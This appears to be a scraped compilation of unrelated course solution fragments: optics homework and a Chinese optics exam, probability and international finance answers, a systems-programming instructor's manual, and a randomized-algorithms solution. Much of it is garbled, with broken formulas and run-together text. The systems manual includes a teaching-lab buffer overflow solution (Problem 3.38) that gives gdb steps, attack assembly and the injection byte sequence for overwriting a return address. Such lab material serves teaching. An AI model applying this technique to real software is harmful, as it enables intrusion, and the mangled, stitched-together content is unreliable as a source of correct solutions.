2021115.15.121211='∴-∞='-=∞='∴=-+-='f l l '=-'11)(15)30(10)30(10cm l f l f l =-+-⨯=+''='′′′2.A lens is known to have a focal length of 30cm in air. An object is placed 50cm to the left of the lens. Locate the image and characterize it.Solution.and f′=30cm l we getThe image is a real, larger one.3.The object is transparent cube, 4mm across, placed 60cm in front of 20cm focal length. Calculate the transverse and axial magnification and describe what the image looks like?Solution. From Gauss’s equation, we find for the rear surface of the cube (the face closer to the lens)that,f l l '=-'11(75)50(30)50(30l f l f l =-+-⨯=+''='5.15075-=-='=l l β)(3020)60()20()60(111cm f l f l l +=+-⨯-='+'='′For the front surface (the face farther away from the lens),The transverse magnification for the rear surface isBut the axial magnification isSince ,the cube doesn’t look likea cube.4.A biconvex lens is made out of glass of n=1.52. If one surface has twice the radius of curvature of the other, and if the focal length is 5cm, what are the two radii?Solution. Supposing r 1= -2r 2 (ρ2=-2ρ1),according to the lens equationwe get,∴r 1=7.8(cm) r 2=-3.9(cm))(9.29204.6020)4.60(2cm l +=+-⨯-='⨯-=-+=5.06030t M ⨯+=----=∆'∆=25.0)4.60(609.2930l l M a atM M ≠))(1(21ρρϕ--=n )(152.1(51ρ-=1282.01=∴ρ2564.02-=ρ返回English Homework for Chapter 4 1. A stop 8mm in diameter is placed halfway between an extended object and a large-diameter lens of 9cm focal length. The lens projects an image of the object onto a screen 14cm away. What is the diameter of the exit pupil?Solution. Refer to the figure. First, from the known focal length and the image distance,we find the object distance. and l ’=14 f ’=9l =-25.2(cm)The stop is one-half that distance is front of the lens, so l s =12.6(cm)∴l s ’=31.5(cm)∴2. Two lenses, a lens of 12.5cm focal length and a minus lens of unknownf l l '=-'11122.255.31-='==ss stop ex l l D D β )(28.05.2cm D ex=⨯=power, are mounted coaxially and 8 cm apart. The system is a focal, that is light entering the system parallel at one side emerges parallel at the other. If a stop 15mm in diameter is placed halfway between the lenses:1) Where is the entrance pupil?2) Where is the exit pupil?3) What are their diameters?’Solution. Refer to the figure. For thesystem to be a focal, the focal points of the two lenses mustcoincide. Since f 1’=12.5cm, and the two lenses are 8cm apart, so f 2’=-4.5cm. The entrance pupil is the image of stop formed by the first lens.According to Gauss’s equation,and l 1’=4cm, f 1’=12.5cm. We getThe exit pupil’slocation is返回111111f l l '=-'())(88.55.845.1211111cm l f l f l =⨯='-'''=)(05.22488.5151mm D D stopentrance =⨯==β)(95.715412.2)(12.25.818)4()5.4()4()5.4(222222mm D D cm f l l f l stop exit =⨯=∙=-=-=-+--⨯-='+'='βEnglish Homework for Chapter 71. A person wants to look at the image of his or her own eyes, without accommodation, using a concave mirror of 60cm radius of curvature. How far must the mirror be from the eye if the person has1) Normal vision?2) 4diopter myopia, without correction?3) 4diopter hyperopia, without correction?Solution.1) When the person has normal vision, according to the following scheme 1, we getso,∞='l cm r l 302==Scheme 1and, orSo the mirror must be 75cm or 10cmfrom the eye.and, or (Since the object isreal, so we can give up this answer)So the mirror must be 50cm from theeye.141-=m l r cm l l r 25-=='r l l 211=+' )(25cm l l +'=cm r 60=265852253048585025308522±=⨯⨯-±==⨯+-l l l ⎩⎨⎧==∴)(50')(7511cm l cm l ⎩⎨⎧-==)(15')(1022cm l cm l r l l 211=+' )(25'cm l l +=cm r 60=265352253043535025303522±=⨯⨯+±==⨯--l l l ⎩⎨⎧==∴)(75')(5011cm l cm l ⎩⎨⎧=-=)(10')(1522cm l cm l Scheme 2 Scheme 32. Discussion: What differences between the following situations:1) a microscope is used for projection;2) the microscope is used for visual observation.返回工程光学(上)期末考试试卷一.问答题:(共12分,每题3分)1.摄影物镜的三个重要参数是什么?它们分别决定系统的什么性质?2.为了保证测量精度,测量仪器一般采用什么光路?为什么?3.显微物镜、望远物镜、照相物镜各应校正什么像差?为什么?4.评价像质的方法主要有哪几种?各有什么优缺点?二.图解法求像或判断成像方向:(共18分,每题3分)1.求像A'B'2.求像A'B'3.求物AB经理想光学系统后所成的像,并注明系统像方的基点位置和焦距4.判断光学系统的成像方向5.求入瞳及对无穷远成像时50%渐晕的视场6.判断棱镜的成像方向三.填空:(共10分,每题2分)1.照明系统与成像系统之间的衔接关系为:①________________________________________________②________________________________________________2.转像系统分____________________和___________________两大类,其作用是:_______________________________ __________3.一学生带500度近视镜,则该近视镜的焦距为_________________,该学生裸眼所能看清的最远距离为_________________。

Solutions_Chapter_6

Solutions_Chapter_6

Construct a random variable Z with this distribution from a U ( 0, 1) variable. [Solution] For x ≥ 0 , since F ( x ) = 1 − e −5 x strictly increasing function, thus
P ( X < 2.23008 ) = P 1 + 2 U < 2.23008 = P (U < 0.378274 ) = 0.378274
(
)
6.3. Let U have a U ( 0, 1) distribution. Show that Z = 1 − U has a U ( 0, 1) distribution by deriving the probability density function or the distribution function. [Solution] Since U ~ U ( 0, 1) , the probability density function of U is
a − 1⎞ 1 2⎞ ⎛ ⎛ P ( X ≤ a) = P 1 + 2 U ≤ a = P ⎜ U ≤ = P ⎜ U ≤ ( a − 1) ⎟ ⎟ ⎝ ⎝ ⎠ 2 ⎠ 4 1 2 = ( a − 1) = F ( a ) 4
6.5. We have seen that if U has a U ( 0, 1) distribution, then X = − ln U has an Exp (1)
⎧ ⎪ 1, 0 < x < 1, fU (u) = ⎨ ⎪ ⎩ 0, otherwise.
Let Z = 1 − U , the cumulative distribution function of Z then is

国际财务管理课后习题答案(第六章)

国际财务管理课后习题答案(第六章)

CHAPTER 6 INTERNATIONAL PARITY RELATIONSHIPSSUGGESTED ANSWERS AND SOLUTIONS TO END-OF—CHAPTERQUESTIONS AND PROBLEMSQUESTIONS1。

Give a full definition of arbitrage。

Answer:Arbitrage can be defined as the act of simultaneously buying and selling the same or equivalent assets or commodities for the purpose of making certain,guaranteed profits。

2。

Discuss the implications of the interest rate parity for the exchange rate determination.Answer:Assuming that the forward exchange rate is roughly an unbiased predictor of the future spot rate,IRP can be written as:S = [(1 + I£)/(1 + I$)]E[S t+1 I t].The exchange rate is thus determined by the relative interest rates,and the expected future spot rate, conditional on all the available information,I t, as of the present time。

One thus can say that expectation is self—fulfilling. Since the information set will be continuously updated as news hit the market,the exchange rate will exhibit a highly dynamic,random behavior。

answer

answer

Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

chap5-solutions

chap5-solutions

Solution to Exercise5.2-1Since H IRE-A SSISTANT always hires candidate1,it hires exactly once if and onlyif no candidates other than candidate1are hired.This event occurs when candi-date1is the best candidate of the n,which occurs with probability1=n.H IRE-A SSISTANT hires n times if each candidate is better than all those who wereinterviewed(and hired)before.This event occurs precisely when the list of ranksgiven to the algorithm is h1;2;:::;n i,which occurs with probability1=nŠ.5-2Selected Solutions for Chapter 5:Probabilistic Analysis and Randomized AlgorithmsThus,E ŒX D E"n X i D 1X i #Dn X i D 1E ŒX i (linearity of expectation)Dn X i D 11=nD 1;and so we expect that exactly 1customer gets back his own hat.Note that this is a situation in which the indicator random variables are not inde-pendent.For example,if n D 2and X 1D 1,then X 2must also equal 1.Con-versely,if n D 2and X 1D 0,then X 2must also equal 0.Despite the dependence,Pr f X i D 1g D 1=n for all i ,and linearity of expectation holds.Thus,we can use the technique of indicator random variables even in the presence of 